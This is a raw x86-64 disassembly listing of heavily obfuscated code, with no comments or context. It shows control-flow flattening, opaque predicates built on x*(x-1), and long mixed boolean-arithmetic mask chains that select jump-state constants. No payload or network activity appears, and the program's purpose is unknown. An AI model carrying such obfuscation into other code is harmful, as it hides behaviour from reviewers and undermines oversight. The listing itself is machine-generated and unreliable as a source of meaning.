or ecx, ebx
mov edx, ecx
not edx
and edx, 0xcedfc0bd
and ecx, 0x31203f42
or ecx, edx
mov ebx, ecx
xor ebx, 0xa2ec52c0
mov edi, ecx
xor edi, 0xa2ec52c1
and edi, ebx
xor ecx, 0xc00840b
and ecx, 0xae20d48b
and ebx, 0x51df2b74
or ebx, ecx
mov ecx, ebx
xor ecx, 0x1872315
mov edx, edi
not edx
xor ebx, 0xae20d48a
mov esi, edx
and esi, 0xfe780c62
and edi, 0x187f39d
or edi, esi
or edx, ebx
and ebx, 0xfe780c62
and ecx, 0x187f39d
or ecx, ebx
xor ecx, edi
not edx
or edx, ecx
mov ecx, edx
not ecx
and edx, 0x4f5c47f6
and ecx, 0xb0a3b809
or ecx, edx
mov edx, ecx
xor edx, 0x4f040434
xor ecx, 0xb0a3b809
mov ebx, ecx
and ebx, 0xb07afbca
and edx, 0x4f850435
or edx, ebx
xor edx, 0x4f850435
or edx, ecx
cmp edx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg dl
mov ebx, ecx
mov eax, ecx
and al, r9b
xor cl, r9b
and r9b, dl
and bl, r8b
or bl, r9b
xor dl, r8b
or cl, al
xor cl, 1
mov eax, edx
and al, cl
xor cl, dl
or cl, al
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
mov r8d, edx
and r8b, bl
xor dl, bl
or dl, r8b
xor dl, cl
xor dl, 1
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0xe035967b
mov ebx, 0x96c53000
cmovne ecx, ebx
test al, 1
mov eax, 0xe035967b
jmp 0x14018b3fd
mov eax, 0x2706fd47
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x686288c3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x6f4ca944
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov ebx, edi
not ebx
mov edx, ebx
and edx, 0x9b221036
mov eax, edi
and eax, 0x64ddefc8
or eax, edx
xor eax, 0x64ddefc8
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov esi, eax
and esi, edx
xor edx, eax
or edx, esi
and ebx, 0xc4a6e1e5
and edi, 0x3b591e1a
or edi, ebx
mov eax, edi
xor eax, 0x2900141a
mov esi, edx
not esi
mov ebx, esi
and ebx, 0x52d9cbc1
and edx, 0xad26343e
or edx, ebx
xor edi, 0x4080c1c1
and edi, 0x52d9cbc1
and eax, 0xad26343e
or eax, edi
xor eax, edx
not eax
or eax, esi
cmp eax, 0xffffffff
sete r9b
cmp ecx, 0xa
setl al
cmp ecx, 9
setg r8b
mov ecx, r8d
xor cl, al
and cl, r8b
mov edx, ecx
xor dl, 1
mov ebx, edx
and bl, cl
xor bl, 1
mov r10d, ecx
xor r10b, bl
or bl, cl
xor bl, 1
or bl, r10b
xor bl, 1
or dl, cl
xor dl, 1
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, r9d
mov ebx, r8d
xor bl, r9b
xor al, r9b
or r9b, dl
xor r9b, 1
xor cl, dl
xor cl, 1
and cl, dl
mov edx, r9d
and dl, cl
xor cl, r9b
or cl, dl
and bl, r8b
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test al, 1
mov eax, 0x23b26c00
mov ebx, 0x8a57ce
cmovne eax, ebx
test cl, 1
cmove eax, ebx
test dl, 1
mov ecx, 0x23b26c00
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
and edx, 0xd4ea2989
and ecx, 0x2b15d676
or ecx, edx
mov edx, ecx
xor edx, 0x84280881
mov ebx, ecx
xor ebx, 0x2b15d676
mov edi, ecx
xor edi, 0x8739caa1
and edi, ebx
and edx, 0xac2c1cd7
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xcce746b
and edx, 0xf3318b94
or edx, edi
xor edx, 0xa0e268bd
and ebx, 1
xor ecx, 0x2b15d677
or ecx, ebx
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xc010331c
mov ebx, ecx
and ebx, 0x2e44c000
or ebx, edx
xor ebx, 0x2e44c000
and ecx, 0x11ab0ce3
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x4694b9c8
and ecx, 0xb96b4637
or ecx, edx
mov edx, ecx
xor edx, 0x62e0400
xor ecx, 0x8804044
and edx, 0xa66e0e90
and ecx, 0x5991f16f
or ecx, edx
xor ecx, 0x5991f16f
sete r8b
setne r9b
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
mov ebx, r9d
or bl, al
mov edx, r9d
xor dl, al
not dl
and dl, al
xor dl, 1
mov r10d, ebx
xor r10b, dl
or dl, bl
xor dl, 1
or dl, r10b
and r9b, al
or al, r8b
xor al, 1
and cl, r8b
or cl, r9b
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov eax, ecx
xor al, 1
and cl, al
mov ebx, eax
and bl, cl
xor cl, al
or cl, bl
mov ebx, edx
xor bl, 1
mov eax, edx
and al, bl
mov r8d, eax
and r8b, dl
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and dl, cl
xor cl, 1
and al, cl
or al, dl
mov edx, ebx
and dl, cl
xor bl, cl
or bl, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xd312e54f
mov edx, 0x60d562da
cmovne ecx, edx
test bl, 1
mov edx, 0xd312e54f
jmp 0x140191413
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea r9d, [rcx - 1]
imul r9d, ecx
mov eax, r9d
not eax
mov ecx, eax
and ecx, 0x45bc6636
mov esi, r9d
and esi, 0xba4399c9
or esi, ecx
mov ecx, esi
xor ecx, 0x88008100
xor esi, 0x884002
mov edx, eax
or edx, 0x8a8dc15a
mov edi, edx
not edi
or esi, 0x601008a1
and esi, 0x629948eb
and ecx, 0x88048110
or ecx, esi
and edx, 0x629948eb
and edi, 0x15623604
or edi, edx
xor edi, ecx
mov ecx, edi
not ecx
and ecx, 0x9040405a
and edi, 0x6fbfbfa5
or edi, ecx
mov ebx, edi
xor ebx, 0x651018b4
xor edi, 0x104c8001
and edi, 0x906ee64b
and ebx, 0x6f9119b4
or ebx, edi
mov ecx, ebx
xor ecx, 0x62111914
xor ebx, 0x906ee64b
mov edx, ebx
and edx, 0x1da6a4aa
and ecx, 0xe2595b55
or ecx, edx
or ebx, r9d
and r9d, 0x1da6a4aa
and eax, 0xe2595b55
or eax, r9d
xor eax, ecx
not ebx
or ebx, eax
mov eax, ebx
not eax
and eax, 0x107a3192
and ebx, 0xef85ce6d
or ebx, eax
xor ebx, 0xef85ce6d
setne r9b
sete r10b
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg al
mov ebx, eax
xor bl, r10b
not bl
and bl, r10b
mov ecx, eax
or cl, r10b
xor cl, 1
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
and r9b, dl
and al, r10b
or al, r9b
mov ebx, edx
and bl, r10b
xor dl, r10b
or dl, bl
xor al, 1
mov ebx, eax
xor bl, dl
or al, dl
xor al, 1
or al, bl
xor al, 1
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0xc5203e76
mov ebx, 0xf8846ff5
cmovne eax, ebx
test dl, 1
cmove eax, ebx
test cl, 1
mov ecx, 0xc5203e76
jmp 0x1401a14db
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov edx, edi
not edx
mov eax, edx
and eax, 0x1f03747e
mov ebx, edi
xor ebx, 0x1f03747e
and ebx, edi
mov esi, eax
and esi, ebx
xor ebx, eax
or ebx, esi
mov eax, ebx
not eax
and eax, 0xe0fc8b80
and ebx, 0x1f03747f
or ebx, eax
mov eax, ebx
not eax
and edx, eax
and ebx, edi
or ebx, edx
not ebx
or ebx, eax
cmp ebx, 0xffffffff
setne al
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg r8b
mov ecx, r8d
and cl, al
xor r8b, al
or r8b, cl
mov ecx, eax
or cl, dl
xor al, dl
not al
and al, dl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, 1
mov edx, ecx
and dl, al
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ecx, edx
xor dl, 1
and dl, r8b
xor r8b, 1
and cl, r8b
or dl, cl
mov ecx, r8d
xor cl, al
or al, r8b
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x55be2506
mov ebx, 0x1f5f328b
cmovne eax, ebx
test dl, dl
cmove eax, ebx
test cl, 1
mov ecx, 0x55be2506
jmp 0x1401a14db
mov eax, 0x8e58fd43
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, 0x44360c25
mov edi, ecx
and edi, 0xa0010200
or edi, edx
xor edi, 0xa0010200
mov edx, ecx
xor edx, 0xe4370e25
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0x8985da4
and edx, 0xf767a25b
or edx, edi
xor edx, 0xecaf5380
and ebx, 0xa9981e6a
and ecx, 0x5667e195
or ecx, ebx
xor ecx, 0x5667e195
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
cmp ecx, 0xffffffff
sete dl
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and bl, al
and cl, dl
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r8d, eax
xor r8b, 1
mov ebx, ecx
xor bl, 1
and cl, bl
mov edx, r8d
and dl, al
xor cl, 1
mov r9d, ecx
xor r9b, bl
or cl, bl
xor cl, 1
or cl, r9b
mov r9d, edx
and r9b, r8b
xor dl, r8b
or dl, r9b
mov r8d, ecx
xor r8b, 1
and r8b, dl
xor dl, 1
and dl, cl
or dl, r8b
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0xb401a24c
mov ebx, 0x6612bccd
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0xb401a24c
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x6939bb1b
and edx, ebx
not ebx
and ebx, 0x8282112
and ecx, 0x61119a09
or ecx, ebx
xor ecx, 0x61119a09
mov ebx, ecx
and ebx, edx
xor edx, ecx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x65e493f7
and edx, 0x9a1b6c08
or edx, ecx
mov ebx, edx
xor ebx, 0x33229713
xor edx, 0xcdd28ec
mov ecx, edx
or ecx, 1
mov edi, ecx
not edi
and edx, 0xcc4160a8
and ebx, 0x33be9f57
or ebx, edx
mov edx, ebx
xor edx, 0x12129c00
xor ebx, 0xcc4160a9
mov esi, ecx
and esi, 0x65ad0357
and edi, 0x9a52fca8
or edi, esi
or ecx, ebx
and ebx, 0x65ad0357
and edx, 0x9a52fca8
or edx, ebx
xor edx, edi
not ecx
or ecx, edx
mov ebx, ecx
not ebx
mov edi, ebx
or edi, 0x119299f0
mov edx, edi
not edx
or ecx, 0x88456209
and ecx, 0x88576a79
and ebx, 0x11809180
or ebx, ecx
and edi, 0x88576a79
and edx, 0x66280406
or edx, edi
xor edx, ebx
mov ecx, edx
not ecx
and ecx, 0xf66c6d2e
and edx, 0x99392d1
or edx, ecx
mov ecx, edx
xor ecx, 0x8000820
xor edx, 0xe7fef4de
mov ebx, edx
and ebx, 0xd4cf3341
and ecx, 0x2b30ccbe
or ecx, ebx
xor ecx, 0xd4cf3341
xor edx, ecx
test edx, ecx
sete dl
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor cl, al
and cl, al
and bl, cl
not cl
and cl, dl
or cl, bl
mov ebx, eax
and bl, dl
xor al, dl
or bl, al
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, al
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0xe3e11f32
mov ebx, 0x1b06d177
cmovne ecx, ebx
test dl, 1
mov edx, 0xe3e11f32
jmp 0x140191413
mov eax, 0xef913a1d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x7bfd438a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
and ebx, 0x94893045
and edx, 0x6b76cfba
or edx, ebx
mov edi, edx
xor edi, 0x94893045
mov ecx, edx
xor ecx, 0x862c508
and ecx, 0x8ebd509
xor edx, 0x3d8ee818
and edx, edi
and edi, 0xf7142af6
or edi, ecx
mov ecx, edi
xor ecx, 0xf7142af6
xor edi, 0x8ebd509
mov ebx, edi
or ebx, 0x56f827a2
mov esi, ebx
not esi
mov eax, edx
not eax
mov r9d, ebx
and r9d, 0xc8ebf034
and esi, 0x21040849
or esi, r9d
or ebx, eax
and eax, 0xc8ebf034
and edx, 0x37140fcb
or edx, eax
xor edx, esi
not ebx
or ebx, edx
mov eax, ebx
not eax
and eax, 0x56f827a3
and ebx, 0xa907d85c
or ebx, eax
and edi, 0x14ce425c
mov eax, ecx
and eax, 0xeb31bda3
or eax, edi
xor eax, 0x14ce425d
and ecx, 1
or ecx, eax
not ecx
mov eax, ebx
and eax, ecx
xor ecx, ebx
or ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x42fa4aed
and ecx, 0xbd05b512
or ecx, eax
mov ebx, ecx
xor ebx, 0x4009010
xor ecx, 0x40b04a20
or edx, 0x77f8de38
mov eax, edx
not eax
or ecx, 0x88042080
and ecx, 0xf9b46ea0
and ebx, 0x6489018
or ebx, ecx
and edx, 0xf9b46ea0
and eax, 0x30147
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xab06db3c
and eax, 0x54f924c3
or eax, ecx
xor eax, 0x2301fafb
setne al
cmp r8d, 0xa
setl cl
cmp r8d, 9
setg dl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov ebx, eax
or bl, cl
xor bl, 1
xor al, cl
not al
and al, cl
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
mov ecx, eax
and al, dl
xor dl, 1
xor cl, 1
mov ebx, edx
xor bl, cl
and bl, dl
and cl, dl
or cl, al
mov eax, ebx
xor al, cl
test al, 1
mov edx, 0xee757e24
mov edi, 0xa3a775ea
cmovne edx, edi
test cl, cl
mov eax, edx
cmovne eax, edi
test bl, bl
jmp 0x1401a2f6c
mov eax, 0x2648eb60
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edx
or ecx, 0xac2cd7d0
and edx, 0xac2cd7d0
mov ebx, edi
and ebx, 0x53d3282e
or ebx, edx
and ecx, 0xac2cd7d1
xor ecx, ebx
mov edx, ecx
not edx
and edx, 0x554df4a9
and ecx, 0xaab20b56
or ecx, edx
xor ecx, 0xaab20b56
mov edx, ecx
and edx, edi
xor ecx, edi
or ecx, edx
mov edx, ecx
not edx
and edx, 0x813b13c4
and ecx, 0x7ec4ec3b
or ecx, edx
xor ecx, 0x7ec4ec3b
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg bl
mov eax, ebx
xor al, r10b
and al, bl
mov r11d, r9d
xor r11b, al
mov edx, r11d
and dl, r9b
and r11b, al
mov eax, edx
and al, r11b
xor r11b, dl
or r11b, al
mov eax, ebx
or bl, r9b
and r9b, r10b
and al, r8b
or al, r9b
xor r10b, r8b
xor bl, 1
or bl, r10b
xor al, 1
mov edx, eax
xor dl, bl
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, r11d
xor bl, 1
mov ecx, ebx
and cl, r11b
and dl, al
mov r8d, ebx
xor r8b, cl
xor cl, 1
or cl, r11b
xor cl, 1
or cl, r8b
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
mov ecx, ebx
and cl, al
xor bl, al
or bl, cl
mov eax, ebx
xor al, dl
test bl, 1
mov ecx, 0x8b6785c9
mov ebx, 0x417accaf
cmovne ecx, ebx
test dl, 1
cmove ecx, ebx
test al, 1
mov eax, 0x8b6785c9
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, eax
xor edx, 0x514a72f2
and edx, eax
or eax, 0xaeb58d0d
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xaba86460
and ecx, 0x50421292
or ecx, edi
or eax, ebx
and ebx, 0xaba86460
and edx, 0x54579b9f
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
and ecx, 0xd9ba8acf
and eax, 0x26457530
or eax, ecx
mov ecx, eax
xor ecx, 0x770f07c2
xor eax, 0x80407011
and eax, 0x804577d1
mov edx, ecx
and edx, 0x7fba882e
or edx, eax
mov ebx, edx
xor ebx, 0x7fba882e
xor edx, 0x2440
mov eax, ebx
and eax, 0xf9cb1256
and ecx, 0x634eda9
or ecx, eax
mov eax, ecx
not eax
and eax, 0x634eda8
and ecx, 0xf9cb1257
or ecx, eax
and edx, 0x2e8a2462
mov eax, ebx
and eax, 0xd175db9d
or eax, edx
xor eax, 0x2e8a2463
and ebx, 1
or ebx, eax
mov edx, ebx
not edx
mov eax, ecx
not eax
mov edi, eax
and edi, 0x1f814b84
and ecx, 0xe07eb47b
or ecx, edi
or eax, ebx
and ebx, 0x1f814b84
and edx, 0xe07eb47b
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x44d8ac08
and ecx, eax
and eax, 0xbb2753f7
or eax, edx
mov edx, eax
xor edx, 0x210141d3
xor eax, 0x44d8ac08
mov ebx, ecx
not ebx
mov edi, eax
and edi, 0xda7e322c
and edx, 0x2581cdd3
or edx, edi
or eax, ebx
and ebx, 0xda7e322c
and ecx, 0x2581cdd3
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0xe024eb45
and eax, 0x1fdb14ba
or eax, ecx
mov ecx, eax
xor ecx, 0x1a0014a0
xor eax, 0xc004a304
and eax, 0xc5dfa31e
and ecx, 0x3a205ce1
or ecx, eax
xor ecx, 0xc5dfa31e
cmp ecx, 0xffffffff
setne al
cmp dword [0x1402656c4], 0xa
setl bl
mov edx, ebx
xor dl, al
mov ecx, ebx
xor cl, dl
not cl
and cl, dl
or al, bl
not dl
and dl, bl
xor dl, 1
mov ebx, eax
xor bl, dl
or dl, al
xor dl, 1
or dl, bl
mov eax, ecx
xor al, 1
mov ebx, edx
xor bl, 1
and dl, al
or al, bl
and bl, cl
or bl, dl
mov ecx, eax
xor cl, bl
test bl, bl
mov edx, 0x5969e761
mov ebx, 0xa576cc08
cmovne edx, ebx
test al, 1
mov eax, 0x5969e761
jmp 0x14019c520
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
mov ecx, ebx
xor ecx, 0xdb336867
and ecx, ebx
not ebx
and ebx, 0x50102044
and edx, 0x8b234823
or edx, ebx
mov ebx, edx
xor ebx, 0x9224823
xor edx, 0x74dcb7dc
mov edi, ecx
not edi
mov esi, edx
and esi, 0xb65d96d8
and ebx, 0x49226827
or ebx, esi
or edx, edi
and edi, 0xb65d96d8
and ecx, 0x49a26927
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x24cc9798
and edx, 0xdb336867
or edx, ecx
mov ebx, edx
not ebx
mov ecx, edx
xor ecx, 0xdfdf3313
mov edi, ecx
and edi, ebx
and ecx, edx
mov esi, edi
and esi, ecx
xor ecx, edi
or ecx, esi
mov edi, ecx
not edi
and edi, 0x2020cced
and ecx, 0xdfdf3312
or ecx, edi
and edx, 0xa0c7d399
mov edi, ebx
and edi, 0x5f382c66
or edi, edx
xor edi, 0xa0c7d398
and ebx, 1
or ebx, edi
not ebx
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, ebx
not ecx
and ebx, 0xfc0ee59c
and ecx, 0x3f11a63
or ecx, ebx
mov edx, ecx
xor edx, 0x4028480
xor ecx, 0x2700000
and edx, 0x5839ee3
and ecx, 0xfa7c611c
or ecx, edx
xor ecx, 0x5839ee3
cmp ecx, 0xffffffff
sete r8b
setne dl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
xor dl, al
xor dl, 1
mov ebx, ecx
xor bl, r8b
and bl, cl
xor al, r8b
mov ecx, ebx
and cl, al
xor al, bl
or al, cl
xor al, dl
and dl, al
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x7c81caa3
mov ebx, 0x9f282cb5
cmovne eax, ebx
test dl, dl
cmove eax, ebx
not cl
test cl, 1
mov ecx, 0x7c81caa3
jmp 0x14019970b
mov eax, dword [0x1402656c8]
lea ecx, [rax - 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0xbb72da41
and ecx, 0x448d25be
or ecx, eax
mov ebx, ecx
xor ebx, 2
xor ecx, 0x29000800
or edx, 0x3d20480b
mov eax, edx
not eax
or ecx, 0x4248b4b0
and ecx, 0x6f48bcb8
and ebx, 0x10204003
or ebx, ecx
and edx, 0x6f48bcb8
and eax, 0x80970344
or eax, edx
xor eax, ebx
mov ecx, eax
not ecx
and ecx, 0xc2dfb7f4
and eax, 0x3d20480b
or eax, ecx
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xfffffffe
and ecx, 0xdfaedacd
and eax, 0x20512532
or eax, ecx
xor eax, 0x20512533
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebx, edx
not ebx
mov edi, eax
and edi, 0xd948fb05
and ecx, 0x26b704fa
or ecx, edi
or eax, ebx
and ebx, 0xd948fb05
and edx, 0x26b704fa
or edx, ebx
xor edx, ecx
not eax
or eax, edx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xa8017328
and eax, 0x57fe8cd7
or eax, edx
xor eax, 0x57fe8cd7
or eax, ecx
cmp eax, 0xffffffff
setne dl
sete al
cmp dword [0x1402656c4], 0xa
setl r8b
mov ebx, r8d
or bl, al
xor bl, 1
xor al, r8b
or bl, al
mov ecx, ebx
xor cl, 1
or dl, r8b
xor dl, 1
and al, r8b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
mov edx, eax
xor dl, 1
and cl, bl
and al, dl
mov r8d, ebx
and r8b, cl
xor cl, bl
or cl, r8b
mov r8d, edx
and r8b, al
xor al, dl
or al, r8b
xor al, cl
mov ecx, ebx
and cl, dl
xor dl, bl
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x1997d816
mov ebx, 0x3532e355
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0x1997d816
jmp 0x1401a0e8b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xc1926325
and edx, ebx
not ebx
and ebx, 0x3c759d41
and ecx, 0xc38a62be
or ecx, ebx
mov ebx, ecx
xor ebx, 0x41804224
xor ecx, 0x100101
or ecx, 0x3e6d9cda
mov edi, edx
not edi
mov esi, ecx
and esi, 0x94433941
and ebx, 0x41904224
or ebx, esi
or ecx, edi
and edi, 0x94433941
and edx, 0x6bbcc6be
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x123ba72c
and ecx, 0xedc458d3
or ecx, edx
mov edx, ecx
xor edx, 0x2c563bf6
mov ebx, ecx
xor ebx, 0x2c563bf7
and ebx, edx
xor ecx, 0xd3a9c408
and ecx, 0xfffffffe
and edx, 1
or edx, ecx
mov ecx, ebx
not ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x74eb32cc
and ebx, 0x8b14cd33
or ebx, esi
or ecx, edi
and edi, 0x74eb32cc
and edx, 0x8b14cd33
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x7a0b1e79
and ecx, 0x85f4e186
or ecx, edx
xor ecx, 0x85f4e186
setne cl
sete dl
cmp eax, 9
setg r8b
cmp eax, 0xa
setl r9b
mov eax, edx
xor al, r9b
mov ebx, eax
and bl, dl
and al, r9b
mov r9d, ebx
xor r9b, 1
xor bl, al
xor al, 1
or al, r9b
xor al, 1
or al, bl
xor dl, r8b
and dl, r8b
xor cl, r8b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test dl, 1
mov ecx, 0x5e438351
mov edi, 0xb4ab37d
cmovne ecx, edi
test bl, 1
mov edx, 0x5e438351
cmove ecx, edx
test al, 1
cmovne ecx, edi
jmp 0x1401a26c0
mov eax, 0x327d0bf0
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xae5c9058
and edx, 0x51a36fa6
or edx, ecx
mov ecx, edx
xor ecx, 0x108248a0
xor edx, 0x2e141019
mov ebx, edi
or ebx, 0x6f35371e
and edx, 0x6f35371f
and ecx, 0x90cac8e0
or ecx, edx
and ebx, 0x6f35371f
xor ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xaab47d91
and ebx, 0x554b826e
or ebx, ecx
xor ebx, 0x554b826e
mov ecx, ebx
and ecx, edi
xor ebx, edi
or ebx, ecx
cmp ebx, 0xffffffff
setne r8b
sete dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov ecx, eax
xor cl, dl
xor cl, 1
or cl, al
xor cl, 1
or bl, r8b
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
xor al, cl
mov edx, eax
xor dl, 1
and cl, dl
xor dl, cl
test dl, 1
mov edx, 0x8279f5d0
mov ebx, 0x85497851
cmovne edx, ebx
test al, al
mov eax, edx
mov ebx, 0x8279f5d0
cmovne eax, ebx
jmp 0x1401a1193
mov eax, 0x415f0b49
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov rax, qword [rbp - 0x60]
mov qword [rbp - 0x18], rax
mov rax, qword [rbp - 0x18]
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0x1b377d70
mov edx, edi
and edx, 0xe4c8828e
or edx, ebx
mov ebx, edx
xor ebx, 0xc0000008
xor edx, 0x1b377d71
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0x36dcbfc7
and ebx, 0xc9234038
or ebx, esi
or edx, eax
and eax, 0x36dcbfc7
and ecx, 0xc9234038
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
mov ecx, edx
and ecx, 0x607e7b2c
and eax, 0x9f8184d3
or eax, ecx
or edx, edi
and edi, 0x607e7b2c
and r9d, 0x9f8184d3
or r9d, edi
xor r9d, eax
not edx
or edx, r9d
cmp edx, 0xffffffff
setne r9b
sete cl
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg al
mov ebx, eax
xor bl, r10b
and bl, al
mov edx, ecx
or dl, bl
xor cl, bl
not cl
and cl, bl
xor cl, 1
mov ebx, edx
xor bl, cl
or cl, dl
xor cl, 1
or cl, bl
xor r10b, r9b
xor r10b, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
xor al, 1
mov edx, r10d
and dl, al
xor al, r10b
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, 1
and dl, cl
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ebx, ecx
xor bl, al
or al, cl
xor al, 1
or al, bl
